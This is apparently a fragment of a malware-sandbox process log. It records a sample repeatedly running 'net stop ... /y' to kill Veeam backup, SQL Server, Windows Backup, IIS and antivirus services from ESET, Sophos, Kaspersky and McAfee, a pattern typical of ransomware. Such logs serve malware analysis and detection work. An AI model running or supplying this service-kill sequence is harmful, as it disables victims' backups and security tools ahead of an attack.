C:\Windows\SysWOW64\net.exenet stop SQLWriter /y3⤵PID:4040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter /y4⤵PID:3824
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamBackupSvc /y2⤵PID:64
-
C:\Windows\SysWOW64\net.exenet stop VeeamBackupSvc /y3⤵PID:3264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBackupSvc /y4⤵PID:4068
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamBrokerSvc /y2⤵PID:3172
-
C:\Windows\SysWOW64\net.exenet stop VeeamBrokerSvc /y3⤵PID:1864
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc /y4⤵PID:2140
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamCatalogSvc /y2⤵PID:3168
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc /y3⤵PID:728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc /y4⤵PID:2876
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamCloudSvc /y2⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop VeeamCloudSvc /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc /y4⤵PID:2880
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamDeploymentService /y2⤵PID:2012
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploymentService /y3⤵PID:504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y4⤵PID:3960
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamDeploySvc /y2⤵PID:1820
-
C:\Windows\SysWOW64\net.exenet stop VeeamDeploySvc /y3⤵PID:1996
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc /y4⤵PID:1136
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamEnterpriseManagerSvc /y2⤵PID:904
-
C:\Windows\SysWOW64\net.exenet stop VeeamEnterpriseManagerSvc /y3⤵PID:1808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y4⤵PID:1924
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamMountSvc /y2⤵PID:4008
-
C:\Windows\SysWOW64\net.exenet stop VeeamMountSvc /y3⤵PID:2332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc /y4⤵PID:2180
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamNFSSvc /y2⤵PID:1648
-
C:\Windows\SysWOW64\net.exenet stop VeeamNFSSvc /y3⤵PID:2772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y4⤵PID:2796
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamRESTSvc /y2⤵PID:2412
-
C:\Windows\SysWOW64\net.exenet stop VeeamRESTSvc /y3⤵PID:3828
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamRESTSvc /y4⤵PID:3760
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamTransportSvc /y2⤵PID:2688
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc /y3⤵PID:3984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y4⤵PID:4076
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop W3Svc /y2⤵PID:3952
-
C:\Windows\SysWOW64\net.exenet stop W3Svc /y3⤵PID:3924
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop W3Svc /y4⤵PID:3976
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop wbengine /y2⤵PID:3768
-
C:\Windows\SysWOW64\net.exenet stop wbengine /y3⤵PID:2872
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵PID:4028
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop WRSVC /y2⤵PID:3000
-
C:\Windows\SysWOW64\net.exenet stop WRSVC /y3⤵PID:1684
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WRSVC /y4⤵PID:2576
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y2⤵PID:2328
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VEEAMSQL2008R2 /y3⤵PID:1016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y4⤵PID:1000
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y2⤵PID:3032
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$VEEAMSQL2008R2 /y3⤵PID:416
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y4⤵PID:988
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop VeeamHvIntegrationSvc /y2⤵PID:1632
-
C:\Windows\SysWOW64\net.exenet stop VeeamHvIntegrationSvc /y3⤵PID:628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y4⤵PID:644
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop swi_update /y2⤵PID:3036
-
C:\Windows\SysWOW64\net.exenet stop swi_update /y3⤵PID:508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update /y4⤵PID:1892
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$CXDB /y2⤵PID:3236
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$CXDB /y3⤵PID:2460
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$CXDB /y4⤵PID:2508
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$CITRIX_METAFRAME /y2⤵PID:3804
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$CITRIX_METAFRAME /y3⤵PID:2144
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y4⤵PID:2512
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "SQL Backups" /y2⤵PID:2676
-
C:\Windows\SysWOW64\net.exenet stop "SQL Backups" /y3⤵PID:2764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQL Backups" /y4⤵PID:2340
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PROD /y2⤵PID:3528
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PROD /y3⤵PID:3844
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PROD /y4⤵PID:4004
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Zoolz 2 Service" /y2⤵PID:3956
-
C:\Windows\SysWOW64\net.exenet stop "Zoolz 2 Service" /y3⤵PID:4012
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Zoolz 2 Service" /y4⤵PID:3972
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLServerADHelper /y2⤵PID:3824
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper /y3⤵PID:4040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper /y4⤵PID:4064
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PROD /y2⤵PID:3976
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PROD /y3⤵PID:3264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROD /y4⤵PID:3188
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop msftesql$PROD /y2⤵PID:4028
-
C:\Windows\SysWOW64\net.exenet stop msftesql$PROD /y3⤵PID:3684
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msftesql$PROD /y4⤵PID:3928
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop NetMsmqActivator /y2⤵PID:1684
-
C:\Windows\SysWOW64\net.exenet stop NetMsmqActivator /y3⤵PID:1016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetMsmqActivator /y4⤵PID:2328
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EhttpSrv /y2⤵PID:2784
-
C:\Windows\SysWOW64\net.exenet stop EhttpSrv /y3⤵PID:848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EhttpSrv /y4⤵PID:1920
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ekrn /y2⤵PID:1212
-
C:\Windows\SysWOW64\net.exenet stop ekrn /y3⤵PID:504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ekrn /y4⤵PID:808
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ESHASRV /y2⤵PID:644
-
C:\Windows\SysWOW64\net.exenet stop ESHASRV /y3⤵PID:508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ESHASRV /y4⤵PID:3036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SOPHOS /y2⤵PID:4088
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SOPHOS /y3⤵PID:2460
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SOPHOS /y4⤵PID:3236
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SOPHOS /y2⤵PID:2660
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SOPHOS /y3⤵PID:2144
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SOPHOS /y4⤵PID:3192
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop AVP /y2⤵PID:2452
-
C:\Windows\SysWOW64\net.exenet stop AVP /y3⤵PID:2184
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵PID:3472
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop klnagent /y2⤵PID:2804
-
C:\Windows\SysWOW64\net.exenet stop klnagent /y3⤵PID:2232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop klnagent /y4⤵PID:1572
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SQLEXPRESS /y2⤵PID:3844
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQLEXPRESS /y3⤵PID:4012
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y4⤵PID:3956
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SQLEXPRESS /y2⤵PID:3972
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SQLEXPRESS /y3⤵PID:4020
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y4⤵PID:3232
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop wbengine /y2⤵PID:3840
-
C:\Windows\SysWOW64\net.exenet stop wbengine /y3⤵PID:3264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wbengine /y4⤵PID:3976
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mfefire /y2⤵PID:800
-
C:\Windows\SysWOW64\net.exenet stop mfefire /y3⤵PID:1420
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfefire /y4⤵PID:4028
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1416